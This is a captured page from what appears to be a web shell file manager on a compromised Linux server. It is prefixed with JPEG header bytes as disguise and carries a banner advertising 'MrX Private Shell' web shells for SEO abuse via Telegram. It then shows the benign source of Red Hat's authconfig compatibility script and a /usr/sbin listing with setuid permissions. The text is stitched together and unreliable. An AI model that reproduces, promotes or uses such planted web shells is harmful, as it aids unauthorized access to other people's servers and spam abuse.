����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/libexec/platform-python
# -*- coding: utf-8 -*-
#
# Authors:
# Pavel Březina <pbrezina@redhat.com>
#
# Copyright (C) 2018 Red Hat
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
import os
import sys
import locale
import gettext
import subprocess
from authcompat_Options import Options
from authcompat_EnvironmentFile import EnvironmentFile
from authcompat_ConfigSnippet import ConfigSnippet
_ = gettext.gettext
def eprint(*args, **kwargs):
print(*args, file=sys.stderr, **kwargs)
class Command:
TEST = False
def __init__(self, command, args, input=None, check=True):
self.args = [command] + args
self.input = input.encode() if input is not None else None
self.check = check
self.result = None
def run(self):
print(_("Executing: %s") % ' '.join(self.args))
if self.TEST:
return
self.result = subprocess.run(self.args, check=self.check,
input=self.input,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
class Service:
def __init__(self, name):
self.name = name + '.service'
def runsystemd(self, command, required, enoent_code):
try:
command.run()
except subprocess.CalledProcessError as result:
if required and result.returncode == enoent_code:
eprint(_("Service %s was not found. Please install the service.")
% self.name)
elif result.returncode != enoent_code:
eprint(_("Command [%s] failed with %d, stderr:")
% (' '.join(result.cmd), result.returncode))
eprint(result.stderr.decode())
def enable(self):
cmd = Command(Path.System("cmd-systemctl"), ["enable", self.name])
self.runsystemd(cmd, True, 1)
def disable(self):
cmd = Command(Path.System("cmd-systemctl"), ["disable", self.name])
self.runsystemd(cmd, False, 1)
def start(self, Restart=True):
if Restart:
self.stop()
cmd = Command(Path.System("cmd-systemctl"), ["start", self.name])
self.runsystemd(cmd, True, 5)
def stop(self):
cmd = Command(Path.System("cmd-systemctl"), ["stop", self.name])
self.runsystemd(cmd, False, 5)
class Path:
LocalDir = os.path.dirname(os.path.realpath(__file__))
Config = EnvironmentFile(LocalDir + "/authcompat_paths")
Files = {
'ldap.conf': '/etc/openldap/ldap.conf',
'krb5.conf': '/etc/krb5.conf.d/authconfig-krb.conf',
'sssd.conf': '/etc/sssd/conf.d/authconfig-sssd.conf',
'authconfig': '/etc/sysconfig/authconfig',
'network': '/etc/sysconfig/network',
'pwquality.conf': '/etc/security/pwquality.conf.d/10-authconfig-pwquality.conf',
'yp.conf': '/etc/yp.conf',
'cmd-systemctl': '/usr/bin/systemctl',
'cmd-authselect': '/usr/bin/authselect',
'cmd-realm': '/usr/sbin/realm',
'cmd-domainname': '/usr/bin/domainname',
'cmd-setsebool': '/usr/sbin/setsebool'
}
@staticmethod
def Local(relpath):
return "%s/%s" % (Path.LocalDir, relpath)
@staticmethod
def System(name):
return Path.Files[name]
class Configuration:
class Base(object):
def __init__(self, options, ServiceName=None):
self.options = options
self.service = None
if ServiceName is not None:
self.service = Service(ServiceName)
def isEnabled(self):
return True
def isDisabled(self):
return not self.isEnabled()
def enableService(self, nostart):
if self.service is None:
return
self.service.enable()
if not nostart:
self.service.start()
def disableService(self, nostop):
if self.service is None:
return
self.service.disable()
if not nostop:
self.service.stop()
def cleanup(self):
return
def write(self):
return
def get(self, name):
return self.options.get(name)
def isset(self, name):
return self.options.isset(name)
def getTrueOrNone(self, name):
return self.options.getTrueOrNone(name)
def getBool(self, name):
return self.options.getBool(name)
def getBoolAsValue(self, name, if_true, if_false, AllowNone=False):
if AllowNone and not self.isset(name):
return None
value = self.getBool(name)
if value:
return if_true
return if_false
def removeFile(self, filename):
print(_("Removing file: %s") % filename)
if self.options.getBool("test-call"):
return
try:
os.remove(filename)
except FileNotFoundError:
return
class LDAP(Base):
def __init__(self, options):
super(Configuration.LDAP, self).__init__(options)
def write(self):
config = EnvironmentFile(Path.System('ldap.conf'), " ",
delimiter_re=r"\s\t", quotes=False)
if self.isset("ldapserver"):
config.set("URI", self.get("ldapserver"))
if self.isset("ldapbasedn"):
config.set("BASE", self.get("ldapbasedn"))
config.write()
class Kerberos(Base):
def __init__(self, options):
super(Configuration.Kerberos, self).__init__(options)
def isEnabled(self):
if not self.isset("krb5realm") and not self.isset("krb5realmdns"):
return None
return self.get("krb5realm") != "" or self.getBool("krb5realmdns")
def cleanup(self):
# Do not remove the file if these options are not set
if not self.isset("krb5realm") and not self.isset("krb5realmdns"):
return
self.removeFile(Path.System('krb5.conf'))
def write(self):
if self.isDisabled():
return
path = Path.Local("snippets/authconfig-krb.conf")
config = ConfigSnippet(path, Path.System('krb5.conf'))
realm = self.get("krb5realm")
keys = {
'realm': self.get("krb5realm"),
'kdc-srv': self.get("krb5kdcdns"),
'realm-srv': self.get("krb5realmdns"),
'kdc': self.get("krb5kdc") if realm else None,
'adminserver': self.get("krb5adminserver") if realm else None,
'domain': realm.lower() if realm else None
}
config.write(keys)
class Network(Base):
def __init__(self, options):
super(Configuration.Network, self).__init__(options)
def write(self):
nisdomain = self.get("nisdomain")
config = EnvironmentFile(Path.System('network'))
if nisdomain is None:
return
config.set("NISDOMAIN", nisdomain)
config.write()
class SSSD(Base):
def __init__(self, options):
super(Configuration.SSSD, self).__init__(options, ServiceName="sssd")
def isEnabled(self):
if not self.isset("ldap") and not self.isset("sssd"):
return None
return self.getBool("ldap") or self.getBool("sssd")
def cleanup(self):
self.removeFile(Path.System('sssd.conf'))
def write(self):
# Authconfig would not generate sssd in this case so we should not
# either. Even if --enablesssd[auth] was provided the configuration
# would not be generated.
if not self.getBool("ldap"):
return
path = Path.Local("snippets/authconfig-sssd.conf")
config = ConfigSnippet(path, Path.System('sssd.conf'))
schema = "rfc2307bis" if self.getBool("rfc2307bis") else None
keys = {
'ldap-uri': self.get("ldapserver"),
'ldap-basedn': self.get("ldapbasedn"),
'ldap-tls': self.getTrueOrNone("ldaptls"),
'ldap-schema': schema,
'krb5': self.getTrueOrNone("krb5"),
'kdc-uri': self.get("krb5kdc"),
'kpasswd-uri': self.get("krb5adminserver"),
'realm': self.get("krb5realm"),
'cache-creds': self.getTrueOrNone("cachecreds"),
'cert-auth': self.getTrueOrNone("smartcard")
}
config.write(keys)
os.chmod(Path.System('sssd.conf'), mode=0o600)
class Winbind(Base):
def __init__(self, options):
super(Configuration.Winbind, self).__init__(options, ServiceName="winbind")
def isEnabled(self):
if not self.isset("winbind") and not self.isset("winbindauth"):
return None
return self.getBool("winbind") or self.getBool("winbindauth")
def write(self):
if not self.isset("winbindjoin"):
return
creds = self.options.get("winbindjoin").split("%", 1)
user = creds[0]
password = None
if len(creds) > 1:
password = creds[1] + '\n'
args = [
'join',
'-U', '"%s"' % user,
'--client-software', 'winbind'
]
if self.isset("smbworkgroup"):
args.append(self.get("smbworkgroup"))
cmd = Command(Path.System('cmd-realm'), args, input=password)
try:
cmd.run()
except FileNotFoundError:
eprint(_("%s was not found. Please, install realmd.")
% Path.System('cmd-realm'))
class PWQuality(Base):
def __init__(self, options):
super(Configuration.PWQuality, self).__init__(options)
def write(self):
config = EnvironmentFile(Path.System('pwquality.conf'))
value_set = False
pwopts = {
"minlen": self.get("passminlen"),
"minclass": self.get("passminclass"),
"maxrepeat": self.get("passmaxrepeat"),
"maxclassrepeat": self.get("passmaxclassrepeat"),
"lcredit": self.getBoolAsValue("reqlower", -1, 0, AllowNone=True),
"ucredit": self.getBoolAsValue("requpper", -1, 0, AllowNone=True),
"dcredit": self.getBoolAsValue("reqdigit", -1, 0, AllowNone=True),
"ocredit": self.getBoolAsValue("reqother", -1, 0, AllowNone=True)
}
# Write options only if their are actually set
for opt, value in pwopts.items():
if value is not None:
print(opt + "=" + str(value))
config.set(opt, value)
value_set = True
if value_set:
config.write()
class MakeHomedir(Base):
def __init__(self, options):
super(Configuration.MakeHomedir, self).__init__(options, ServiceName="oddjobd")
def isEnabled(self):
if not self.isset("mkhomedir"):
return None
return self.getBool("mkhomedir")
def disableService(self, nostop):
# Never disable the service in case it is already running as
# other applications may depend on it.
return
class NIS(Base):
def __init__(self, options):
super(Configuration.NIS, self).__init__(options)
self.rpcbind = Service("rpcbind")
self.ypbind = Service("ypbind")
def isEnabled(self):
if not self.isset("nis"):
return None
return self.getBool("nis")
def enableService(self, nostart):
if not self.isset("nisdomain"):
return
nisdom = self.get("nisdomain")
if not nostart:
cmd = Command(Path.System('cmd-domainname'), [nisdom])
cmd.run()
cmd = Command(Path.System('cmd-setsebool'),
['-P', 'allow_ypbind', '1'])
cmd.run()
self.rpcbind.enable()
self.ypbind.enable()
if not nostart:
self.rpcbind.start(Restart=False)
self.ypbind.start()
def disableService(self, nostop):
if not nostop:
cmd = Command(Path.System('cmd-domainname'), ["(none)"])
cmd.run()
cmd = Command(Path.System('cmd-setsebool'),
['-P', 'allow_ypbind', '0'])
cmd.run()
self.rpcbind.disable()
self.ypbind.disable()
if not nostop:
self.rpcbind.stop()
self.ypbind.stop()
def write(self):
if not self.isset("nisdomain"):
return
output = "domain " + self.get("nisdomain")
additional_servers = []
if self.isset("nisserver"):
servers = self.get("nisserver").split(",")
additional_servers = servers[1:]
output += " server " + servers[0] + "\n"
else:
output += " broadcast\n"
for server in additional_servers:
output += "ypserver " + server + "\n"
filename = Path.System('yp.conf')
if self.getBool("test-call"):
print("========== BEGIN Content of [%s] ==========" % filename)
print(output)
print("========== END Content of [%s] ==========\n" % filename)
return
with open(filename, "w") as f:
f.write(output)
class AuthCompat:
def __init__(self):
self.sysconfig = EnvironmentFile(Path.System('authconfig'))
self.options = Options()
self.options.parse()
self.options.applysysconfig(self.sysconfig)
self.options.updatesysconfig(self.sysconfig)
def printWarning(self):
print(_("Running authconfig compatibility tool."))
print(_("The purpose of this tool is to enable authentication against "
"chosen services with authselect and minimum configuration. "
"It does not provide all capabilities of authconfig.\n"))
print(_("IMPORTANT: authconfig is replaced by authselect, "
"please update your scripts."))
print(_("See man authselect-migration(7) to help you with migration to authselect"))
options = self.options.getSetButUnsupported()
if options:
print(_("Warning: These options are not supported anymore "
"and have no effect:"))
for name in options:
print(" --%s" % name)
print("")
def printOptions(self):
for option in Options.List:
print("%s=%s" % (option.name, option.value))
def printSysconfig(self):
for line in self.sysconfig.getall():
print("%s=%s" % (line.name, line.value))
def canContinue(self):
disallowed = ["test", "probe", "restorebackup", "restorelastbackup"]
required = ["update", "updateall", "kickstart"]
if not self.options.getBool("test") and os.getuid() != 0:
print(_("authconfig can only be run as root"))
return False
for option in disallowed:
if self.options.getBool(option):
print(_("Error: option --%s is no longer supported and we "
"cannot continue if it is set." % option))
return False
if self.options.getBool("winbind") != self.options.getBool("winbindauth"):
print(_("Error: Both --enablewinbind and --enablewinbindauth must be set."))
return False
# We require one of these options to perform changes
# We encourage to use --updateall since we no longer support just pure
# --update or --kickstart, they will act as --updateall.
for option in required:
if self.options.getBool(option):
return True
print(_("Error: Please, provide --updateall option."))
return False
def runAuthselect(self):
map = {
'smartcard': 'with-smartcard',
'requiresmartcard': 'with-smartcard-required',
'fingerprint': 'with-fingerprint',
'mkhomedir': 'with-mkhomedir',
'faillock': 'with-faillock',
'pamaccess': 'with-pamaccess',
'winbindkrb5': 'with-krb5'
}
# Read current configuration first.
(profile, features) = self.getCurrentAuthselectConfig()
# Change profile if requested.
if (self.options.getBool("ldap")
or self.options.getBool("ldapauth")
or self.options.getBool("sssd")
or self.options.getBool("sssdauth")):
profile = "sssd"
elif self.options.getBool("nis"):
profile = "nis"
elif self.options.getBool("winbind"):
profile = "winbind"
# Default to sssd
if profile is None:
profile = "sssd"
# Add enabled and remove disabled features.
for option, feature in map.items():
if not self.options.isset(option):
continue
enabled = self.options.getBool(option)
if enabled:
features.append(feature)
else:
while feature in features:
features.remove(feature)
# Add lock-on-smartcard-removal if requested
if self.options.isset("smartcardaction"):
if int(self.options.get("smartcardaction")) == 0:
features.append("with-smartcard-lock-on-removal")
else:
features.remove("with-smartcard-lock-on-removal")
# Remove duplicates. The order is not kept but that does not matter.
features = list(set(features))
# Always run with --force. This is either first call of authconfig
# in installation script or it is run on already configured system.
# We want to use authselect in both cases anyway, since authconfig
# would change the configuration either way.
args = ["select", profile]
args.extend(features)
args.append("--force")
cmd = Command(Path.System('cmd-authselect'), args)
cmd.run()
def getCurrentAuthselectConfig(self):
cmd = Command(Path.System('cmd-authselect'), ['check'], check=False)
cmd.run()
if cmd.result is None or cmd.result.returncode != 0:
return (None, [])
cmd = Command(Path.System('cmd-authselect'), ['current', '--raw'])
cmd.run()
current = cmd.result.stdout.decode("utf-8").split()
return (current[0], current[1:])
def writeConfiguration(self):
configs = [
Configuration.LDAP(self.options),
Configuration.Network(self.options),
Configuration.Kerberos(self.options),
Configuration.SSSD(self.options),
Configuration.Winbind(self.options),
Configuration.PWQuality(self.options),
Configuration.MakeHomedir(self.options),
Configuration.NIS(self.options)
]
for config in configs:
# Configuration decides if it needs to write something or not
config.write()
# Enable or disable service if needed
nostart = self.options.getBool("nostart")
try:
enabled = config.isEnabled()
# Skip service management if it can not be decided
if enabled is None:
continue
if enabled:
config.enableService(nostart)
else:
config.disableService(nostart)
config.cleanup()
except subprocess.CalledProcessError as result:
# This is not fatal error.
eprint(_("Command [%s] failed with %d, stderr:")
% (' '.join(result.cmd), result.returncode))
eprint(result.stderr.decode())
def main():
try:
locale.setlocale(locale.LC_ALL, '')
except locale.Error:
sys.stderr.write('Warning: Unsupported locale setting.\n')
authcompat = AuthCompat()
authcompat.printWarning()
Command.TEST = authcompat.options.getBool("test-call")
EnvironmentFile.TEST = authcompat.options.getBool("test-call")
ConfigSnippet.TEST = authcompat.options.getBool("test-call")
if not authcompat.canContinue():
sys.exit(1)
try:
authcompat.runAuthselect()
authcompat.writeConfiguration()
authcompat.sysconfig.write()
except subprocess.CalledProcessError as result:
eprint(_("Command [%s] failed with %d, stderr:")
% (' '.join(result.cmd), result.returncode))
eprint(result.stderr.decode())
sys.exit(0)
if __name__ == "__main__":
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| NetworkManager | File | 3.41 MB | 0755 |
|
| accessdb | File | 12.59 KB | 0755 |
|
| addgnupghome | File | 3 KB | 0755 |
|
| addpart | File | 24.86 KB | 0755 |
|
| adduser | File | 148.16 KB | 0755 |
|
| agetty | File | 62.39 KB | 0755 |
|
| alternatives | File | 36.66 KB | 0755 |
|
| anacron | File | 40.99 KB | 0755 |
|
| apachectl | File | 4.69 KB | 0755 |
|
| applygnupgdefaults | File | 2.17 KB | 0755 |
|
| arp | File | 64.71 KB | 0755 |
|
| arpd | File | 109.52 KB | 0755 |
|
| arping | File | 28.74 KB | 0755 |
|
| atd | File | 32.63 KB | 0755 |
|
| atrun | File | 67 B | 0755 |
|
| auditctl | File | 45.04 KB | 0755 |
|
| auditd | File | 151.73 KB | 0755 |
|
| augenrules | File | 4.04 KB | 0755 |
|
| aureport | File | 122.35 KB | 0755 |
|
| ausearch | File | 130.36 KB | 0755 |
|
| authconfig | File | 21.54 KB | 0755 |
|
| autrace | File | 16.54 KB | 0750 |
|
| avcstat | File | 16.4 KB | 0755 |
|
| badblocks | File | 32.59 KB | 0755 |
|
| biosdecode | File | 21.45 KB | 0755 |
|
| biosdevname | File | 46.16 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0555 |
|
| blkdiscard | File | 29.05 KB | 0755 |
|
| blkid | File | 98.66 KB | 0755 |
|
| blkmapd | File | 53.48 KB | 0755 |
|
| blkzone | File | 49.75 KB | 0755 |
|
| blockdev | File | 41.3 KB | 0755 |
|
| bridge | File | 158.25 KB | 0755 |
|
| capsh | File | 32.45 KB | 0755 |
|
| cfdisk | File | 98.41 KB | 0755 |
|
| chcpu | File | 28.83 KB | 0755 |
|
| chgpasswd | File | 69.69 KB | 0755 |
|
| chkconfig | File | 45.11 KB | 0755 |
|
| chpasswd | File | 61.42 KB | 0755 |
|
| chronyd | File | 375.66 KB | 0755 |
|
| chroot | File | 41.45 KB | 0755 |
|
| clock | File | 65.22 KB | 0755 |
|
| clockdiff | File | 20.43 KB | 0755 |
|
| consoletype | File | 11.86 KB | 0755 |
|
| convertquota | File | 78.68 KB | 0755 |
|
| cracklib-check | File | 13.05 KB | 0755 |
|
| cracklib-format | File | 251 B | 0755 |
|
| cracklib-packer | File | 13.05 KB | 0755 |
|
| cracklib-unpacker | File | 9.03 KB | 0755 |
|
| create-cracklib-dict | File | 990 B | 0755 |
|
| crond | File | 73.94 KB | 0755 |
|
| ctrlaltdel | File | 24.79 KB | 0755 |
|
| ctstat | File | 25.33 KB | 0755 |
|
| dcb | File | 155.04 KB | 0755 |
|
| ddns-confgen | File | 20.46 KB | 0755 |
|
| debugfs | File | 231.63 KB | 0755 |
|
| delpart | File | 24.86 KB | 0755 |
|
| depmod | File | 159.95 KB | 0755 |
|
| devlink | File | 215.87 KB | 0755 |
|
| dmfilemapd | File | 24.55 KB | 0555 |
|
| dmidecode | File | 141.8 KB | 0755 |
|
| dmsetup | File | 158.64 KB | 0555 |
|
| dmstats | File | 158.64 KB | 0555 |
|
| dnssec-checkds | File | 936 B | 0755 |
|
| dnssec-coverage | File | 938 B | 0755 |
|
| dnssec-dsfromkey | File | 60.85 KB | 0755 |
|
| dnssec-importkey | File | 60.85 KB | 0755 |
|
| dnssec-keyfromlabel | File | 64.76 KB | 0755 |
|
| dnssec-keygen | File | 72.84 KB | 0755 |
|
| dnssec-keymgr | File | 934 B | 0755 |
|
| dnssec-revoke | File | 56.74 KB | 0755 |
|
| dnssec-settime | File | 60.84 KB | 0755 |
|
| dnssec-signzone | File | 117.2 KB | 0755 |
|
| dnssec-verify | File | 52.84 KB | 0755 |
|
| dovecot | File | 157.84 KB | 0755 |
|
| dovecot_cpshutdown | File | 3.27 KB | 0755 |
|
| dpkg-fsys-usrunmess | File | 12.11 KB | 0755 |
|
| dumpe2fs | File | 32.52 KB | 0755 |
|
| e2freefrag | File | 16.42 KB | 0755 |
|
| e2fsck | File | 328.52 KB | 0755 |
|
| e2image | File | 36.61 KB | 0755 |
|
| e2label | File | 110.63 KB | 0755 |
|
| e2mmpstatus | File | 32.52 KB | 0755 |
|
| e2undo | File | 20.38 KB | 0755 |
|
| e4crypt | File | 24.55 KB | 0755 |
|
| e4defrag | File | 28.49 KB | 0755 |
|
| ebtables | File | 220.8 KB | 0755 |
|
| ebtables-restore | File | 220.8 KB | 0755 |
|
| ebtables-save | File | 220.8 KB | 0755 |
|
| edquota | File | 91.24 KB | 0755 |
|
| ether-wake | File | 73.99 KB | 0755 |
|
| ethtool | File | 557.79 KB | 0755 |
|
| exicyclog | File | 11.1 KB | 0755 |
|
| exigrep | File | 11.44 KB | 0755 |
|
| exim | File | 1.53 MB | 4755 |
|
| exim_checkaccess | File | 4.83 KB | 0755 |
|
| exim_dbmbuild | File | 24.69 KB | 0755 |
|
| exim_dumpdb | File | 43.56 KB | 0755 |
|
| exim_fixdb | File | 49.05 KB | 0755 |
|
| exim_lock | File | 26.59 KB | 0755 |
|
| exim_tidydb | File | 43.78 KB | 0755 |
|
| eximstats | File | 149.14 KB | 0755 |
|
| exinext | File | 8.03 KB | 0755 |
|
| exiqgrep | File | 6.58 KB | 0755 |
|
| exiqsumm | File | 6.29 KB | 0755 |
|
| exiwhat | File | 4.42 KB | 0755 |
|
| exportfs | File | 82.37 KB | 0755 |
|
| faillock | File | 20.52 KB | 0755 |
|
| fcgistarter | File | 17.11 KB | 0755 |
|
| fdformat | File | 33.17 KB | 0755 |
|
| fdisk | File | 130.91 KB | 0755 |
|
| filefrag | File | 16.46 KB | 0755 |
|
| findfs | File | 12.38 KB | 0755 |
|
| firewalld | File | 6.92 KB | 0755 |
|
| fix-info-dir | File | 7.84 KB | 0755 |
|
| fixfiles | File | 10.48 KB | 0755 |
|
| fsck | File | 53.47 KB | 0755 |
|
| fsck.cramfs | File | 41.41 KB | 0755 |
|
| fsck.ext2 | File | 328.52 KB | 0755 |
|
| fsck.ext3 | File | 328.52 KB | 0755 |
|
| fsck.ext4 | File | 328.52 KB | 0755 |
|
| fsck.minix | File | 98.75 KB | 0755 |
|
| fsck.xfs | File | 1.92 KB | 0755 |
|
| fsfreeze | File | 16.38 KB | 0755 |
|
| fstrim | File | 49.6 KB | 0755 |
|
| fuse2fs | File | 70.39 KB | 0755 |
|
| fuser | File | 38.14 KB | 0755 |
|
| g13-syshelp | File | 189.76 KB | 0755 |
|
| genhomedircon | File | 29.27 KB | 0755 |
|
| genhostid | File | 11.86 KB | 0755 |
|
| genl | File | 121.41 KB | 0755 |
|
| genrandom | File | 12.38 KB | 0755 |
|
| getcap | File | 12.35 KB | 0755 |
|
| getenforce | File | 7.84 KB | 0755 |
|
| getpcaps | File | 12.27 KB | 0755 |
|
| getsebool | File | 11.87 KB | 0755 |
|
| groupadd | File | 95.34 KB | 0755 |
|
| groupdel | File | 91.09 KB | 0755 |
|
| groupmems | File | 61.48 KB | 0755 |
|
| groupmod | File | 99.38 KB | 0755 |
|
| grpck | File | 61.47 KB | 0755 |
|
| grpconv | File | 57.27 KB | 0755 |
|
| grpunconv | File | 57.26 KB | 0755 |
|
| grub2-bios-setup | File | 1.16 MB | 0755 |
|
| grub2-get-kernel-settings | File | 2.68 KB | 0755 |
|
| grub2-install | File | 1.44 MB | 0755 |
|
| grub2-macbless | File | 1.14 MB | 0755 |
|
| grub2-mkconfig | File | 8.68 KB | 0755 |
|
| grub2-ofpathname | File | 246.3 KB | 0755 |
|
| grub2-probe | File | 1.16 MB | 0755 |
|
| grub2-reboot | File | 3.99 KB | 0755 |
|
| grub2-rpm-sort | File | 283.14 KB | 0755 |
|
| grub2-set-bootflag | File | 16.34 KB | 4755 |
|
| grub2-set-default | File | 3.45 KB | 0755 |
|
| grub2-set-password | File | 3.05 KB | 0755 |
|
| grub2-setpassword | File | 3.05 KB | 0755 |
|
| grub2-sparc64-setup | File | 1.16 MB | 0755 |
|
| grub2-switch-to-blscfg | File | 8.6 KB | 0755 |
|
| grubby | File | 260 B | 0755 |
|
| gss-server | File | 24.62 KB | 0755 |
|
| gssproxy | File | 132.08 KB | 0755 |
|
| halt | File | 218.45 KB | 0755 |
|
| hardlink | File | 17.09 KB | 0755 |
|
| hdparm | File | 131.91 KB | 0755 |
|
| htcacheclean | File | 44.36 KB | 0755 |
|
| httpd | File | 991.46 KB | 0755 |
|
| hwclock | File | 65.22 KB | 0755 |
|
| iconvconfig | File | 33.05 KB | 0755 |
|
| ifconfig | File | 80.86 KB | 0755 |
|
| ifdown | File | 2.07 KB | 0755 |
|
| ifenslave | File | 24.95 KB | 0755 |
|
| ifstat | File | 117.67 KB | 0755 |
|
| ifup | File | 5.33 KB | 0755 |
|
| imunify-notifier | File | 9.82 MB | 0755 |
|
| init | File | 1.54 MB | 0755 |
|
| insmod | File | 159.95 KB | 0755 |
|
| install-info | File | 50.23 KB | 0755 |
|
| installkernel | File | 323 B | 0755 |
|
| intel_sdsi | File | 15.62 KB | 0755 |
|
| ip | File | 693.3 KB | 0755 |
|
| ip6tables | File | 220.8 KB | 0755 |
|
| ip6tables-apply | File | 6.89 KB | 0755 |
|
| ip6tables-restore | File | 220.8 KB | 0755 |
|
| ip6tables-restore-translate | File | 220.8 KB | 0755 |
|
| ip6tables-save | File | 220.8 KB | 0755 |
|
| ip6tables-translate | File | 220.8 KB | 0755 |
|
| ipmaddr | File | 21 KB | 0755 |
|
| iprconfig | File | 408.03 KB | 0755 |
|
| iprdbg | File | 137.57 KB | 0755 |
|
| iprdump | File | 129.3 KB | 0755 |
|
| iprinit | File | 125.28 KB | 0755 |
|
| iprsos | File | 2.18 KB | 0755 |
|
| iprupdate | File | 129.3 KB | 0755 |
|
| ipset | File | 9.01 KB | 0755 |
|
| iptables | File | 220.8 KB | 0755 |
|
| iptables-apply | File | 6.89 KB | 0755 |
|
| iptables-restore | File | 220.8 KB | 0755 |
|
| iptables-restore-translate | File | 220.8 KB | 0755 |
|
| iptables-save | File | 220.8 KB | 0755 |
|
| iptables-translate | File | 220.8 KB | 0755 |
|
| iptunnel | File | 25 KB | 0755 |
|
| irqbalance | File | 62.28 KB | 0755 |
|
| irqbalance-ui | File | 41.29 KB | 0755 |
|
| isc-hmac-fixup | File | 11.86 KB | 0755 |
|
| kexec | File | 194.98 KB | 0755 |
|
| key.dns_resolver | File | 24.52 KB | 0755 |
|
| kpartx | File | 49.05 KB | 0755 |
|
| lchage | File | 16.41 KB | 0755 |
|
| ldattach | File | 32.99 KB | 0755 |
|
| ldconfig | File | 986.09 KB | 0755 |
|
| lgroupadd | File | 11.88 KB | 0755 |
|
| lgroupdel | File | 11.88 KB | 0755 |
|
| lgroupmod | File | 19.88 KB | 0755 |
|
| lid | File | 16.27 KB | 0755 |
|
| lnewusers | File | 19.87 KB | 0755 |
|
| lnstat | File | 25.33 KB | 0755 |
|
| load_policy | File | 12.28 KB | 0755 |
|
| logrotate | File | 93.03 KB | 0755 |
|
| logsave | File | 16.41 KB | 0755 |
|
| losetup | File | 90.59 KB | 0755 |
|
| lpasswd | File | 20.35 KB | 0755 |
|
| lshw | File | 969.55 KB | 0755 |
|
| lsmod | File | 159.95 KB | 0755 |
|
| luseradd | File | 19.88 KB | 0755 |
|
| luserdel | File | 15.88 KB | 0755 |
|
| lusermod | File | 19.88 KB | 0755 |
|
| lwresd | File | 840.93 KB | 0755 |
|
| makedumpfile | File | 425.19 KB | 0755 |
|
| matchpathcon | File | 12.37 KB | 0755 |
|
| mii-diag | File | 25.4 KB | 0755 |
|
| mii-tool | File | 21.03 KB | 0755 |
|
| mkdict | File | 251 B | 0755 |
|
| mkdumprd | File | 12.68 KB | 0755 |
|
| mke2fs | File | 138.45 KB | 0755 |
|
| mkfadumprd | File | 2.23 KB | 0755 |
|
| mkfs | File | 16.48 KB | 0755 |
|
| mkfs.cramfs | File | 41.27 KB | 0755 |
|
| mkfs.ext2 | File | 138.45 KB | 0755 |
|
| mkfs.ext3 | File | 138.45 KB | 0755 |
|
| mkfs.ext4 | File | 138.45 KB | 0755 |
|
| mkfs.minix | File | 86.56 KB | 0755 |
|
| mkfs.xfs | File | 475.98 KB | 0755 |
|
| mkhomedir_helper | File | 24.44 KB | 0755 |
|
| mklost+found | File | 11.86 KB | 0755 |
|
| mksquashfs | File | 186.83 KB | 0755 |
|
| mkswap | File | 86.48 KB | 0755 |
|
| modinfo | File | 159.95 KB | 0755 |
|
| modprobe | File | 159.95 KB | 0755 |
|
| modsec-sdbm-util | File | 25.83 KB | 0750 |
|
| mount.nfs | File | 197.24 KB | 4755 |
|
| mount.nfs4 | File | 197.24 KB | 4755 |
|
| mountstats | File | 42.22 KB | 0755 |
|
| mysqld | File | 63.03 MB | 0755 |
|
| named | File | 840.93 KB | 0755 |
|
| named-checkconf | File | 40.79 KB | 0755 |
|
| named-checkzone | File | 36.63 KB | 0755 |
|
| named-compilezone | File | 36.63 KB | 0755 |
|
| named-journalprint | File | 11.85 KB | 0755 |
|
| nameif | File | 16.98 KB | 0755 |
|
| newusers | File | 107.23 KB | 0755 |
|
| nfsconf | File | 37.48 KB | 0755 |
|
| nfsconvert | File | 13.03 KB | 0755 |
|
| nfsdcld | File | 65.87 KB | 0755 |
|
| nfsdclddb | File | 10 KB | 0755 |
|
| nfsdclnts | File | 9.02 KB | 0755 |
|
| nfsdcltrack | File | 49.78 KB | 0755 |
|
| nfsidmap | File | 45.35 KB | 0755 |
|
| nfsiostat | File | 23.36 KB | 0755 |
|
| nfsref | File | 65.8 KB | 0755 |
|
| nfsstat | File | 35.52 KB | 0755 |
|
| nft | File | 24.41 KB | 0755 |
|
| nologin | File | 11.87 KB | 0755 |
|
| nscd | File | 156.69 KB | 0755 |
|
| nsec3hash | File | 12.29 KB | 0755 |
|
| nstat | File | 113.57 KB | 0755 |
|
| oddjobd | File | 77.63 KB | 0755 |
|
| ownership | File | 12.4 KB | 0755 |
|
| packer | File | 13.05 KB | 0755 |
|
| pam_console_apply | File | 45.2 KB | 0755 |
|
| pam_timestamp_check | File | 11.87 KB | 4755 |
|
| paperconfig | File | 4.07 KB | 0755 |
|
| parted | File | 85.6 KB | 0755 |
|
| partprobe | File | 16.39 KB | 0755 |
|
| partx | File | 94.5 KB | 0755 |
|
| pdns_server | File | 6.24 MB | 0755 |
|
| pidof | File | 16.7 KB | 0755 |
|
| ping | File | 66.13 KB | 0755 |
|
| ping6 | File | 66.13 KB | 0755 |
|
| pivot_root | File | 12.38 KB | 0755 |
|
| plipconfig | File | 12.71 KB | 0755 |
|
| pluginviewer | File | 20.57 KB | 0755 |
|
| plymouth-set-default-theme | File | 6.05 KB | 0755 |
|
| plymouthd | File | 141.84 KB | 0755 |
|
| poweroff | File | 218.45 KB | 0755 |
|
| prl_nettool | File | 893.45 KB | 0755 |
|
| pure-authd | File | 19.23 KB | 0755 |
|
| pure-certd | File | 19.14 KB | 0755 |
|
| pure-config.pl | File | 4.64 KB | 0755 |
|
| pure-ftpd | File | 182.07 KB | 0755 |
|
| pure-ftpwho | File | 26.83 KB | 0755 |
|
| pure-mrtginfo | File | 11.16 KB | 0755 |
|
